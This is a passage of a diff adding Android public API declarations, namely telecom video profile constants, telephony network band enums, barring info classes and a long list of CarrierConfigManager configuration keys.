+    field public static final int QUALITY_DEFAULT = 4; // 0x4
+    field public static final int QUALITY_HIGH = 1; // 0x1
+    field public static final int QUALITY_LOW = 3; // 0x3
+    field public static final int QUALITY_MEDIUM = 2; // 0x2
+    field public static final int STATE_AUDIO_ONLY = 0; // 0x0
+    field public static final int STATE_BIDIRECTIONAL = 3; // 0x3
+    field public static final int STATE_PAUSED = 4; // 0x4
+    field public static final int STATE_RX_ENABLED = 2; // 0x2
+    field public static final int STATE_TX_ENABLED = 1; // 0x1
+  }
+
+  public static final class VideoProfile.CameraCapabilities implements android.os.Parcelable {
+    ctor public VideoProfile.CameraCapabilities(@IntRange(from=0) int, @IntRange(from=0) int);
+    ctor public VideoProfile.CameraCapabilities(@IntRange(from=0) int, @IntRange(from=0) int, boolean, @FloatRange(from=1.0f) float);
+    method public int describeContents();
+    method public int getHeight();
+    method public float getMaxZoom();
+    method public int getWidth();
+    method public boolean isZoomSupported();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telecom.VideoProfile.CameraCapabilities> CREATOR;
+  }
+
+}
+
+package android.telephony {
+
+  public final class AccessNetworkConstants {
+    field public static final int TRANSPORT_TYPE_WLAN = 2; // 0x2
+    field public static final int TRANSPORT_TYPE_WWAN = 1; // 0x1
+  }
+
+  public static final class AccessNetworkConstants.AccessNetworkType {
+    field public static final int CDMA2000 = 4; // 0x4
+    field public static final int EUTRAN = 3; // 0x3
+    field public static final int GERAN = 1; // 0x1
+    field public static final int IWLAN = 5; // 0x5
+    field public static final int NGRAN = 6; // 0x6
+    field public static final int UNKNOWN = 0; // 0x0
+    field public static final int UTRAN = 2; // 0x2
+  }
+
+  public static final class AccessNetworkConstants.EutranBand {
+    field public static final int BAND_1 = 1; // 0x1
+    field public static final int BAND_10 = 10; // 0xa
+    field public static final int BAND_11 = 11; // 0xb
+    field public static final int BAND_12 = 12; // 0xc
+    field public static final int BAND_13 = 13; // 0xd
+    field public static final int BAND_14 = 14; // 0xe
+    field public static final int BAND_17 = 17; // 0x11
+    field public static final int BAND_18 = 18; // 0x12
+    field public static final int BAND_19 = 19; // 0x13
+    field public static final int BAND_2 = 2; // 0x2
+    field public static final int BAND_20 = 20; // 0x14
+    field public static final int BAND_21 = 21; // 0x15
+    field public static final int BAND_22 = 22; // 0x16
+    field public static final int BAND_23 = 23; // 0x17
+    field public static final int BAND_24 = 24; // 0x18
+    field public static final int BAND_25 = 25; // 0x19
+    field public static final int BAND_26 = 26; // 0x1a
+    field public static final int BAND_27 = 27; // 0x1b
+    field public static final int BAND_28 = 28; // 0x1c
+    field public static final int BAND_3 = 3; // 0x3
+    field public static final int BAND_30 = 30; // 0x1e
+    field public static final int BAND_31 = 31; // 0x1f
+    field public static final int BAND_33 = 33; // 0x21
+    field public static final int BAND_34 = 34; // 0x22
+    field public static final int BAND_35 = 35; // 0x23
+    field public static final int BAND_36 = 36; // 0x24
+    field public static final int BAND_37 = 37; // 0x25
+    field public static final int BAND_38 = 38; // 0x26
+    field public static final int BAND_39 = 39; // 0x27
+    field public static final int BAND_4 = 4; // 0x4
+    field public static final int BAND_40 = 40; // 0x28
+    field public static final int BAND_41 = 41; // 0x29
+    field public static final int BAND_42 = 42; // 0x2a
+    field public static final int BAND_43 = 43; // 0x2b
+    field public static final int BAND_44 = 44; // 0x2c
+    field public static final int BAND_45 = 45; // 0x2d
+    field public static final int BAND_46 = 46; // 0x2e
+    field public static final int BAND_47 = 47; // 0x2f
+    field public static final int BAND_48 = 48; // 0x30
+    field public static final int BAND_49 = 49; // 0x31
+    field public static final int BAND_5 = 5; // 0x5
+    field public static final int BAND_50 = 50; // 0x32
+    field public static final int BAND_51 = 51; // 0x33
+    field public static final int BAND_52 = 52; // 0x34
+    field public static final int BAND_53 = 53; // 0x35
+    field public static final int BAND_6 = 6; // 0x6
+    field public static final int BAND_65 = 65; // 0x41
+    field public static final int BAND_66 = 66; // 0x42
+    field public static final int BAND_68 = 68; // 0x44
+    field public static final int BAND_7 = 7; // 0x7
+    field public static final int BAND_70 = 70; // 0x46
+    field public static final int BAND_71 = 71; // 0x47
+    field public static final int BAND_72 = 72; // 0x48
+    field public static final int BAND_73 = 73; // 0x49
+    field public static final int BAND_74 = 74; // 0x4a
+    field public static final int BAND_8 = 8; // 0x8
+    field public static final int BAND_85 = 85; // 0x55
+    field public static final int BAND_87 = 87; // 0x57
+    field public static final int BAND_88 = 88; // 0x58
+    field public static final int BAND_9 = 9; // 0x9
+  }
+
+  public static final class AccessNetworkConstants.GeranBand {
+    field public static final int BAND_450 = 3; // 0x3
+    field public static final int BAND_480 = 4; // 0x4
+    field public static final int BAND_710 = 5; // 0x5
+    field public static final int BAND_750 = 6; // 0x6
+    field public static final int BAND_850 = 8; // 0x8
+    field public static final int BAND_DCS1800 = 12; // 0xc
+    field public static final int BAND_E900 = 10; // 0xa
+    field public static final int BAND_ER900 = 14; // 0xe
+    field public static final int BAND_P900 = 9; // 0x9
+    field public static final int BAND_PCS1900 = 13; // 0xd
+    field public static final int BAND_R900 = 11; // 0xb
+    field public static final int BAND_T380 = 1; // 0x1
+    field public static final int BAND_T410 = 2; // 0x2
+    field public static final int BAND_T810 = 7; // 0x7
+  }
+
+  public static final class AccessNetworkConstants.NgranBands {
+    field public static final int BAND_1 = 1; // 0x1
+    field public static final int BAND_12 = 12; // 0xc
+    field public static final int BAND_14 = 14; // 0xe
+    field public static final int BAND_18 = 18; // 0x12
+    field public static final int BAND_2 = 2; // 0x2
+    field public static final int BAND_20 = 20; // 0x14
+    field public static final int BAND_25 = 25; // 0x19
+    field public static final int BAND_257 = 257; // 0x101
+    field public static final int BAND_258 = 258; // 0x102
+    field public static final int BAND_26 = 26; // 0x1a
+    field public static final int BAND_260 = 260; // 0x104
+    field public static final int BAND_261 = 261; // 0x105
+    field public static final int BAND_28 = 28; // 0x1c
+    field public static final int BAND_29 = 29; // 0x1d
+    field public static final int BAND_3 = 3; // 0x3
+    field public static final int BAND_30 = 30; // 0x1e
+    field public static final int BAND_34 = 34; // 0x22
+    field public static final int BAND_38 = 38; // 0x26
+    field public static final int BAND_39 = 39; // 0x27
+    field public static final int BAND_40 = 40; // 0x28
+    field public static final int BAND_41 = 41; // 0x29
+    field public static final int BAND_46 = 46; // 0x2e
+    field public static final int BAND_48 = 48; // 0x30
+    field public static final int BAND_5 = 5; // 0x5
+    field public static final int BAND_50 = 50; // 0x32
+    field public static final int BAND_51 = 51; // 0x33
+    field public static final int BAND_53 = 53; // 0x35
+    field public static final int BAND_65 = 65; // 0x41
+    field public static final int BAND_66 = 66; // 0x42
+    field public static final int BAND_7 = 7; // 0x7
+    field public static final int BAND_70 = 70; // 0x46
+    field public static final int BAND_71 = 71; // 0x47
+    field public static final int BAND_74 = 74; // 0x4a
+    field public static final int BAND_75 = 75; // 0x4b
+    field public static final int BAND_76 = 76; // 0x4c
+    field public static final int BAND_77 = 77; // 0x4d
+    field public static final int BAND_78 = 78; // 0x4e
+    field public static final int BAND_79 = 79; // 0x4f
+    field public static final int BAND_8 = 8; // 0x8
+    field public static final int BAND_80 = 80; // 0x50
+    field public static final int BAND_81 = 81; // 0x51
+    field public static final int BAND_82 = 82; // 0x52
+    field public static final int BAND_83 = 83; // 0x53
+    field public static final int BAND_84 = 84; // 0x54
+    field public static final int BAND_86 = 86; // 0x56
+    field public static final int BAND_89 = 89; // 0x59
+    field public static final int BAND_90 = 90; // 0x5a
+    field public static final int BAND_91 = 91; // 0x5b
+    field public static final int BAND_92 = 92; // 0x5c
+    field public static final int BAND_93 = 93; // 0x5d
+    field public static final int BAND_94 = 94; // 0x5e
+    field public static final int BAND_95 = 95; // 0x5f
+    field public static final int BAND_96 = 96; // 0x60
+  }
+
+  public static final class AccessNetworkConstants.UtranBand {
+    field public static final int BAND_1 = 1; // 0x1
+    field public static final int BAND_10 = 10; // 0xa
+    field public static final int BAND_11 = 11; // 0xb
+    field public static final int BAND_12 = 12; // 0xc
+    field public static final int BAND_13 = 13; // 0xd
+    field public static final int BAND_14 = 14; // 0xe
+    field public static final int BAND_19 = 19; // 0x13
+    field public static final int BAND_2 = 2; // 0x2
+    field public static final int BAND_20 = 20; // 0x14
+    field public static final int BAND_21 = 21; // 0x15
+    field public static final int BAND_22 = 22; // 0x16
+    field public static final int BAND_25 = 25; // 0x19
+    field public static final int BAND_26 = 26; // 0x1a
+    field public static final int BAND_3 = 3; // 0x3
+    field public static final int BAND_4 = 4; // 0x4
+    field public static final int BAND_5 = 5; // 0x5
+    field public static final int BAND_6 = 6; // 0x6
+    field public static final int BAND_7 = 7; // 0x7
+    field public static final int BAND_8 = 8; // 0x8
+    field public static final int BAND_9 = 9; // 0x9
+    field public static final int BAND_A = 101; // 0x65
+    field public static final int BAND_B = 102; // 0x66
+    field public static final int BAND_C = 103; // 0x67
+    field public static final int BAND_D = 104; // 0x68
+    field public static final int BAND_E = 105; // 0x69
+    field public static final int BAND_F = 106; // 0x6a
+  }
+
+  public final class AvailableNetworkInfo implements android.os.Parcelable {
+    ctor public AvailableNetworkInfo(int, int, @NonNull java.util.List<java.lang.String>, @NonNull java.util.List<java.lang.Integer>);
+    method public int describeContents();
+    method @NonNull public java.util.List<java.lang.Integer> getBands();
+    method @NonNull public java.util.List<java.lang.String> getMccMncs();
+    method public int getPriority();
+    method public int getSubId();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.AvailableNetworkInfo> CREATOR;
+    field public static final int PRIORITY_HIGH = 1; // 0x1
+    field public static final int PRIORITY_LOW = 3; // 0x3
+    field public static final int PRIORITY_MED = 2; // 0x2
+  }
+
+  public final class BarringInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.telephony.BarringInfo.BarringServiceInfo getBarringServiceInfo(int);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int BARRING_SERVICE_TYPE_CS_FALLBACK = 5; // 0x5
+    field public static final int BARRING_SERVICE_TYPE_CS_SERVICE = 0; // 0x0
+    field public static final int BARRING_SERVICE_TYPE_CS_VOICE = 2; // 0x2
+    field public static final int BARRING_SERVICE_TYPE_EMERGENCY = 8; // 0x8
+    field public static final int BARRING_SERVICE_TYPE_MMTEL_VIDEO = 7; // 0x7
+    field public static final int BARRING_SERVICE_TYPE_MMTEL_VOICE = 6; // 0x6
+    field public static final int BARRING_SERVICE_TYPE_MO_DATA = 4; // 0x4
+    field public static final int BARRING_SERVICE_TYPE_MO_SIGNALLING = 3; // 0x3
+    field public static final int BARRING_SERVICE_TYPE_PS_SERVICE = 1; // 0x1
+    field public static final int BARRING_SERVICE_TYPE_SMS = 9; // 0x9
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.BarringInfo> CREATOR;
+  }
+
+  public static final class BarringInfo.BarringServiceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getBarringType();
+    method public int getConditionalBarringFactor();
+    method public int getConditionalBarringTimeSeconds();
+    method public boolean isBarred();
+    method public boolean isConditionallyBarred();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int BARRING_TYPE_CONDITIONAL = 1; // 0x1
+    field public static final int BARRING_TYPE_NONE = 0; // 0x0
+    field public static final int BARRING_TYPE_UNCONDITIONAL = 2; // 0x2
+    field public static final int BARRING_TYPE_UNKNOWN = -1; // 0xffffffff
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.BarringInfo.BarringServiceInfo> CREATOR;
+  }
+
+  public class CarrierConfigManager {
+    method @Nullable public android.os.PersistableBundle getConfig();
+    method @Nullable public android.os.PersistableBundle getConfigByComponentForSubId(@NonNull String, int);
+    method @Nullable public android.os.PersistableBundle getConfigForSubId(int);
+    method public static boolean isConfigForIdentifiedCarrier(android.os.PersistableBundle);
+    method public void notifyConfigChangedForSubId(int);
+    field public static final String ACTION_CARRIER_CONFIG_CHANGED = "android.telephony.action.CARRIER_CONFIG_CHANGED";
+    field public static final int CARRIER_NR_AVAILABILITY_NSA = 1; // 0x1
+    field public static final int CARRIER_NR_AVAILABILITY_SA = 2; // 0x2
+    field public static final int CROSS_SIM_SPN_FORMAT_CARRIER_NAME_ONLY = 0; // 0x0
+    field public static final int CROSS_SIM_SPN_FORMAT_CARRIER_NAME_WITH_BRANDING = 1; // 0x1
+    field public static final int DATA_CYCLE_THRESHOLD_DISABLED = -2; // 0xfffffffe
+    field public static final int DATA_CYCLE_USE_PLATFORM_DEFAULT = -1; // 0xffffffff
+    field public static final String ENABLE_EAP_METHOD_PREFIX_BOOL = "enable_eap_method_prefix_bool";
+    field public static final String EXTRA_REBROADCAST_ON_UNLOCK = "android.telephony.extra.REBROADCAST_ON_UNLOCK";
+    field public static final String EXTRA_SLOT_INDEX = "android.telephony.extra.SLOT_INDEX";
+    field public static final String EXTRA_SUBSCRIPTION_INDEX = "android.telephony.extra.SUBSCRIPTION_INDEX";
+    field public static final String IMSI_KEY_AVAILABILITY_INT = "imsi_key_availability_int";
+    field public static final String KEY_5G_NR_SSRSRP_THRESHOLDS_INT_ARRAY = "5g_nr_ssrsrp_thresholds_int_array";
+    field public static final String KEY_5G_NR_SSRSRQ_THRESHOLDS_INT_ARRAY = "5g_nr_ssrsrq_thresholds_int_array";
+    field public static final String KEY_5G_NR_SSSINR_THRESHOLDS_INT_ARRAY = "5g_nr_sssinr_thresholds_int_array";
+    field public static final String KEY_ADDITIONAL_CALL_SETTING_BOOL = "additional_call_setting_bool";
+    field public static final String KEY_ALLOW_ADDING_APNS_BOOL = "allow_adding_apns_bool";
+    field public static final String KEY_ALLOW_ADD_CALL_DURING_VIDEO_CALL_BOOL = "allow_add_call_during_video_call";
+    field public static final String KEY_ALLOW_EMERGENCY_NUMBERS_IN_CALL_LOG_BOOL = "allow_emergency_numbers_in_call_log_bool";
+    field public static final String KEY_ALLOW_EMERGENCY_VIDEO_CALLS_BOOL = "allow_emergency_video_calls_bool";
+    field public static final String KEY_ALLOW_HOLD_CALL_DURING_EMERGENCY_BOOL = "allow_hold_call_during_emergency_bool";
+    field public static final String KEY_ALLOW_HOLD_VIDEO_CALL_BOOL = "allow_hold_video_call_bool";
+    field public static final String KEY_ALLOW_LOCAL_DTMF_TONES_BOOL = "allow_local_dtmf_tones_bool";
+    field public static final String KEY_ALLOW_MERGE_WIFI_CALLS_WHEN_VOWIFI_OFF_BOOL = "allow_merge_wifi_calls_when_vowifi_off_bool";
+    field public static final String KEY_ALLOW_NON_EMERGENCY_CALLS_IN_ECM_BOOL = "allow_non_emergency_calls_in_ecm_bool";
+    field public static final String KEY_ALLOW_VIDEO_CALLING_FALLBACK_BOOL = "allow_video_calling_fallback_bool";
+    field public static final String KEY_ALWAYS_SHOW_DATA_RAT_ICON_BOOL = "always_show_data_rat_icon_bool";
+    field @Deprecated public static final String KEY_ALWAYS_SHOW_EMERGENCY_ALERT_ONOFF_BOOL = "always_show_emergency_alert_onoff_bool";
+    field public static final String KEY_ALWAYS_SHOW_PRIMARY_SIGNAL_BAR_IN_OPPORTUNISTIC_NETWORK_BOOLEAN = "always_show_primary_signal_bar_in_opportunistic_network_boolean";
+    field public static final String KEY_APN_EXPAND_BOOL = "apn_expand_bool";
+    field public static final String KEY_APN_SETTINGS_DEFAULT_APN_TYPES_STRING_ARRAY = "apn_settings_default_apn_types_string_array";
+    field public static final String KEY_AUTO_RETRY_ENABLED_BOOL = "auto_retry_enabled_bool";
+    field public static final String KEY_CALL_BARRING_DEFAULT_SERVICE_CLASS_INT = "call_barring_default_service_class_int";
+    field public static final String KEY_CALL_BARRING_SUPPORTS_DEACTIVATE_ALL_BOOL = "call_barring_supports_deactivate_all_bool";
+    field public static final String KEY_CALL_BARRING_SUPPORTS_PASSWORD_CHANGE_BOOL = "call_barring_supports_password_change_bool";
+    field public static final String KEY_CALL_BARRING_VISIBILITY_BOOL = "call_barring_visibility_bool";
+    field public static final String KEY_CALL_COMPOSER_PICTURE_SERVER_URL_STRING = "call_composer_picture_server_url_string";
+    field public static final String KEY_CALL_FORWARDING_BLOCKS_WHILE_ROAMING_STRING_ARRAY = "call_forwarding_blocks_while_roaming_string_array";
+    field public static final String KEY_CALL_REDIRECTION_SERVICE_COMPONENT_NAME_STRING = "call_redirection_service_component_name_string";
+    field public static final String KEY_CARRIER_ALLOW_DEFLECT_IMS_CALL_BOOL = "carrier_allow_deflect_ims_call_bool";
+    field public static final String KEY_CARRIER_ALLOW_TURNOFF_IMS_BOOL = "carrier_allow_turnoff_ims_bool";
+    field public static final String KEY_CARRIER_APP_REQUIRED_DURING_SIM_SETUP_BOOL = "carrier_app_required_during_setup_bool";
+    field public static final String KEY_CARRIER_CALL_SCREENING_APP_STRING = "call_screening_app";
+    field public static final String KEY_CARRIER_CERTIFICATE_STRING_ARRAY = "carrier_certificate_string_array";
+    field public static final String KEY_CARRIER_CONFIG_APPLIED_BOOL = "carrier_config_applied_bool";
+    field public static final String KEY_CARRIER_CONFIG_VERSION_STRING = "carrier_config_version_string";
+    field public static final String KEY_CARRIER_CROSS_SIM_IMS_AVAILABLE_BOOL = "carrier_cross_sim_ims_available_bool";
+    field public static final String KEY_CARRIER_DATA_CALL_PERMANENT_FAILURE_STRINGS = "carrier_data_call_permanent_failure_strings";
+    field public static final String KEY_CARRIER_DEFAULT_ACTIONS_ON_DCFAILURE_STRING_ARRAY = "carrier_default_actions_on_dcfailure_string_array";
+    field public static final String KEY_CARRIER_DEFAULT_ACTIONS_ON_DEFAULT_NETWORK_AVAILABLE = "carrier_default_actions_on_default_network_available_string_array";
+    field public static final String KEY_CARRIER_DEFAULT_ACTIONS_ON_REDIRECTION_STRING_ARRAY = "carrier_default_actions_on_redirection_string_array";
+    field public static final String KEY_CARRIER_DEFAULT_ACTIONS_ON_RESET = "carrier_default_actions_on_reset_string_array";
+    field public static final String KEY_CARRIER_DEFAULT_REDIRECTION_URL_STRING_ARRAY = "carrier_default_redirection_url_string_array";
+    field public static final String KEY_CARRIER_DEFAULT_WFC_IMS_ENABLED_BOOL = "carrier_default_wfc_ims_enabled_bool";
+    field public static final String KEY_CARRIER_DEFAULT_WFC_IMS_MODE_INT = "carrier_default_wfc_ims_mode_int";
+    field public static final String KEY_CARRIER_DEFAULT_WFC_IMS_ROAMING_MODE_INT = "carrier_default_wfc_ims_roaming_mode_int";
+    field @Deprecated public static final String KEY_CARRIER_FORCE_DISABLE_ETWS_CMAS_TEST_BOOL = "carrier_force_disable_etws_cmas_test_bool";
+    field public static final String KEY_CARRIER_IMS_GBA_REQUIRED_BOOL = "carrier_ims_gba_required_bool";
+    field public static final String KEY_CARRIER_INSTANT_LETTERING_AVAILABLE_BOOL = "carrier_instant_lettering_available_bool";
+    field public static final String KEY_CARRIER_INSTANT_LETTERING_ENCODING_STRING = "carrier_instant_lettering_encoding_string";
+    field public static final String KEY_CARRIER_INSTANT_LETTERING_ESCAPED_CHARS_STRING = "carrier_instant_lettering_escaped_chars_string";
+    field public static final String KEY_CARRIER_INSTANT_LETTERING_INVALID_CHARS_STRING = "carrier_instant_lettering_invalid_chars_string";
+    field public static final String KEY_CARRIER_INSTANT_LETTERING_LENGTH_LIMIT_INT = "carrier_instant_lettering_length_limit_int";
+    field public static final String KEY_CARRIER_NAME_OVERRIDE_BOOL = "carrier_name_override_bool";
+    field public static final String KEY_CARRIER_NAME_STRING = "carrier_name_string";
+    field public static final String KEY_CARRIER_NR_AVAILABILITIES_INT_ARRAY = "carrier_nr_availabilities_int_array";
+    field public static final String KEY_CARRIER_PROVISIONS_WIFI_MERGED_NETWORKS_BOOL = "carrier_provisions_wifi_merged_networks_bool";
+    field public static final String KEY_CARRIER_RCS_PROVISIONING_REQUIRED_BOOL = "carrier_rcs_provisioning_required_bool";
+    field public static final String KEY_CARRIER_SETTINGS_ACTIVITY_COMPONENT_NAME_STRING = "carrier_settings_activity_component_name_string";
+    field public static final String KEY_CARRIER_SETTINGS_ENABLE_BOOL = "carrier_settings_enable_bool";
+    field public static final String KEY_CARRIER_SUPPORTS_SS_OVER_UT_BOOL = "carrier_supports_ss_over_ut_bool";
+    field public static final String KEY_CARRIER_USE_IMS_FIRST_FOR_EMERGENCY_BOOL = "carrier_use_ims_first_for_emergency_bool";
+    field public static final String KEY_CARRIER_USSD_METHOD_INT = "carrier_ussd_method_int";
+    field public static final String KEY_CARRIER_UT_PROVISIONING_REQUIRED_BOOL = "carrier_ut_provisioning_required_bool";
+    field public static final String KEY_CARRIER_VOLTE_AVAILABLE_BOOL = "carrier_volte_available_bool";
+    field public static final String KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL = "carrier_volte_override_wfc_provisioning_bool";
+    field public static final String KEY_CARRIER_VOLTE_PROVISIONED_BOOL = "carrier_volte_provisioned_bool";
+    field public static final String KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL = "carrier_volte_provisioning_required_bool";
+    field public static final String KEY_CARRIER_VOLTE_TTY_SUPPORTED_BOOL = "carrier_volte_tty_supported_bool";
+    field public static final String KEY_CARRIER_VT_AVAILABLE_BOOL = "carrier_vt_available_bool";
+    field @Deprecated public static final String KEY_CARRIER_VVM_PACKAGE_NAME_STRING = "carrier_vvm_package_name_string";
+    field public static final String KEY_CARRIER_VVM_PACKAGE_NAME_STRING_ARRAY = "carrier_vvm_package_name_string_array";
+    field public static final String KEY_CARRIER_WFC_IMS_AVAILABLE_BOOL = "carrier_wfc_ims_available_bool";
+    field public static final String KEY_CARRIER_WFC_SUPPORTS_WIFI_ONLY_BOOL = "carrier_wfc_supports_wifi_only_bool";
+    field public static final String KEY_CDMA_3WAYCALL_FLASH_DELAY_INT = "cdma_3waycall_flash_delay_int";
+    field public static final String KEY_CDMA_DTMF_TONE_DELAY_INT = "cdma_dtmf_tone_delay_int";
+    field public static final String KEY_CDMA_NONROAMING_NETWORKS_STRING_ARRAY = "cdma_nonroaming_networks_string_array";
+    field public static final String KEY_CDMA_ROAMING_MODE_INT = "cdma_roaming_mode_int";
+    field public static final String KEY_CDMA_ROAMING_NETWORKS_STRING_ARRAY = "cdma_roaming_networks_string_array";
+    field public static final String KEY_CHECK_PRICING_WITH_CARRIER_FOR_DATA_ROAMING_BOOL = "check_pricing_with_carrier_data_roaming_bool";
+    field public static final String KEY_CI_ACTION_ON_SYS_UPDATE_BOOL = "ci_action_on_sys_update_bool";
+    field public static final String KEY_CI_ACTION_ON_SYS_UPDATE_EXTRA_STRING = "ci_action_on_sys_update_extra_string";
+    field public static final String KEY_CI_ACTION_ON_SYS_UPDATE_EXTRA_VAL_STRING = "ci_action_on_sys_update_extra_val_string";
+    field public static final String KEY_CI_ACTION_ON_SYS_UPDATE_INTENT_STRING = "ci_action_on_sys_update_intent_string";
+    field public static final String KEY_CONFIG_IMS_MMTEL_PACKAGE_OVERRIDE_STRING = "config_ims_mmtel_package_override_string";
+    field @Deprecated public static final String KEY_CONFIG_IMS_PACKAGE_OVERRIDE_STRING = "config_ims_package_override_string";
+    field public static final String KEY_CONFIG_IMS_RCS_PACKAGE_OVERRIDE_STRING = "config_ims_rcs_package_override_string";
+    field public static final String KEY_CONFIG_PLANS_PACKAGE_OVERRIDE_STRING = "config_plans_package_override_string";
+    field public static final String KEY_CONFIG_TELEPHONY_USE_OWN_NUMBER_FOR_VOICEMAIL_BOOL = "config_telephony_use_own_number_for_voicemail_bool";
+    field public static final String KEY_CONFIG_WIFI_DISABLE_IN_ECBM = "config_wifi_disable_in_ecbm";
+    field public static final String KEY_CROSS_SIM_SPN_FORMAT_INT = "cross_sim_spn_format_int";
+    field public static final String KEY_CSP_ENABLED_BOOL = "csp_enabled_bool";
+    field public static final String KEY_DATA_LIMIT_NOTIFICATION_BOOL = "data_limit_notification_bool";
+    field public static final String KEY_DATA_LIMIT_THRESHOLD_BYTES_LONG = "data_limit_threshold_bytes_long";
+    field public static final String KEY_DATA_RAPID_NOTIFICATION_BOOL = "data_rapid_notification_bool";
+    field public static final String KEY_DATA_SWITCH_VALIDATION_TIMEOUT_LONG = "data_switch_validation_timeout_long";
+    field public static final String KEY_DATA_WARNING_NOTIFICATION_BOOL = "data_warning_notification_bool";
+    field public static final String KEY_DATA_WARNING_THRESHOLD_BYTES_LONG = "data_warning_threshold_bytes_long";
+    field public static final String KEY_DEFAULT_SIM_CALL_MANAGER_STRING = "default_sim_call_manager_string";
+    field public static final String KEY_DEFAULT_VM_NUMBER_ROAMING_AND_IMS_UNREGISTERED_STRING = "default_vm_number_roaming_and_ims_unregistered_string";
+    field public static final String KEY_DEFAULT_VM_NUMBER_STRING = "default_vm_number_string";
+    field public static final String KEY_DIAL_STRING_REPLACE_STRING_ARRAY = "dial_string_replace_string_array";
+    field public static final String KEY_DISABLE_CDMA_ACTIVATION_CODE_BOOL = "disable_cdma_activation_code_bool";
+    field public static final String KEY_DISABLE_CHARGE_INDICATION_BOOL = "disable_charge_indication_bool";
+    field public static final String KEY_DISABLE_SUPPLEMENTARY_SERVICES_IN_AIRPLANE_MODE_BOOL = "disable_supplementary_services_in_airplane_mode_bool";
+    field public static final String KEY_DISCONNECT_CAUSE_PLAY_BUSYTONE_INT_ARRAY = "disconnect_cause_play_busytone_int_array";
+    field public static final String KEY_DISPLAY_CALL_STRENGTH_INDICATOR_BOOL = "display_call_strength_indicator_bool";
+    field public static final String KEY_DISPLAY_HD_AUDIO_PROPERTY_BOOL = "display_hd_audio_property_bool";
+    field public static final String KEY_DROP_VIDEO_CALL_WHEN_ANSWERING_AUDIO_CALL_BOOL = "drop_video_call_when_answering_audio_call_bool";
+    field public static final String KEY_DTMF_TYPE_ENABLED_BOOL = "dtmf_type_enabled_bool";
+    field public static final String KEY_DURATION_BLOCKING_DISABLED_AFTER_EMERGENCY_INT = "duration_blocking_disabled_after_emergency_int";
+    field public static final String KEY_EDITABLE_ENHANCED_4G_LTE_BOOL = "editable_enhanced_4g_lte_bool";
+    field public static final String KEY_EDITABLE_VOICEMAIL_NUMBER_BOOL = "editable_voicemail_number_bool";
+    field public static final String KEY_EDITABLE_VOICEMAIL_NUMBER_SETTING_BOOL = "editable_voicemail_number_setting_bool";
+    field public static final String KEY_EDITABLE_WFC_MODE_BOOL = "editable_wfc_mode_bool";
+    field public static final String KEY_EDITABLE_WFC_ROAMING_MODE_BOOL = "editable_wfc_roaming_mode_bool";
+    field public static final String KEY_EMERGENCY_NOTIFICATION_DELAY_INT = "emergency_notification_delay_int";
+    field public static final String KEY_EMERGENCY_NUMBER_PREFIX_STRING_ARRAY = "emergency_number_prefix_string_array";
+    field public static final String KEY_ENABLE_DIALER_KEY_VIBRATION_BOOL = "enable_dialer_key_vibration_bool";
+    field public static final String KEY_ENHANCED_4G_LTE_ON_BY_DEFAULT_BOOL = "enhanced_4g_lte_on_by_default_bool";
+    field public static final String KEY_ENHANCED_4G_LTE_TITLE_VARIANT_INT = "enhanced_4g_lte_title_variant_int";
+    field public static final String KEY_FORCE_HOME_NETWORK_BOOL = "force_home_network_bool";
+    field public static final String KEY_GSM_DTMF_TONE_DELAY_INT = "gsm_dtmf_tone_delay_int";
+    field public static final String KEY_GSM_NONROAMING_NETWORKS_STRING_ARRAY = "gsm_nonroaming_networks_string_array";
+    field public static final String KEY_GSM_ROAMING_NETWORKS_STRING_ARRAY = "gsm_roaming_networks_string_array";
+    field public static final String KEY_HAS_IN_CALL_NOISE_SUPPRESSION_BOOL = "has_in_call_noise_suppression_bool";
+    field public static final String KEY_HIDE_CARRIER_NETWORK_SETTINGS_BOOL = "hide_carrier_network_settings_bool";
+    field public static final String KEY_HIDE_ENABLE_2G = "hide_enable_2g_bool";
+    field public static final String KEY_HIDE_ENHANCED_4G_LTE_BOOL = "hide_enhanced_4g_lte_bool";
+    field public static final String KEY_HIDE_IMS_APN_BOOL = "hide_ims_apn_bool";
+    field public static final String KEY_HIDE_LTE_PLUS_DATA_ICON_BOOL = "hide_lte_plus_data_icon_bool";
+    field public static final String KEY_HIDE_PREFERRED_NETWORK_TYPE_BOOL = "hide_preferred_network_type_bool";
+    field public static final String KEY_HIDE_PRESET_APN_DETAILS_BOOL = "hide_preset_apn_details_bool";
+    field public static final String KEY_HIDE_SIM_LOCK_SETTINGS_BOOL = "hide_sim_lock_settings_bool";
+    field public static final String KEY_HIDE_TTY_HCO_VCO_WITH_RTT_BOOL = "hide_tty_hco_vco_with_rtt";
+    field public static final String KEY_IGNORE_DATA_ENABLED_CHANGED_FOR_VIDEO_CALLS = "ignore_data_enabled_changed_for_video_calls";
+    field public static final String KEY_IGNORE_RTT_MODE_SETTING_BOOL = "ignore_rtt_mode_setting_bool";
+    field public static final String KEY_IGNORE_SIM_NETWORK_LOCKED_EVENTS_BOOL = "ignore_sim_network_locked_events_bool";
+    field public static final String KEY_IMS_CONFERENCE_SIZE_LIMIT_INT = "ims_conference_size_limit_int";
+    field public static final String KEY_IMS_DTMF_TONE_DELAY_INT = "ims_dtmf_tone_delay_int";
+    field public static final String KEY_IS_IMS_CONFERENCE_SIZE_ENFORCED_BOOL = "is_ims_conference_size_enforced_bool";
+    field public static final String KEY_LTE_ENABLED_BOOL = "lte_enabled_bool";
+    field public static final String KEY_LTE_RSRQ_THRESHOLDS_INT_ARRAY = "lte_rsrq_thresholds_int_array";
+    field public static final String KEY_LTE_RSSNR_THRESHOLDS_INT_ARRAY = "lte_rssnr_thresholds_int_array";
+    field public static final String KEY_MDN_IS_ADDITIONAL_VOICEMAIL_NUMBER_BOOL = "mdn_is_additional_voicemail_number_bool";
+    field public static final String KEY_MMS_ALIAS_ENABLED_BOOL = "aliasEnabled";
+    field public static final String KEY_MMS_ALIAS_MAX_CHARS_INT = "aliasMaxChars";
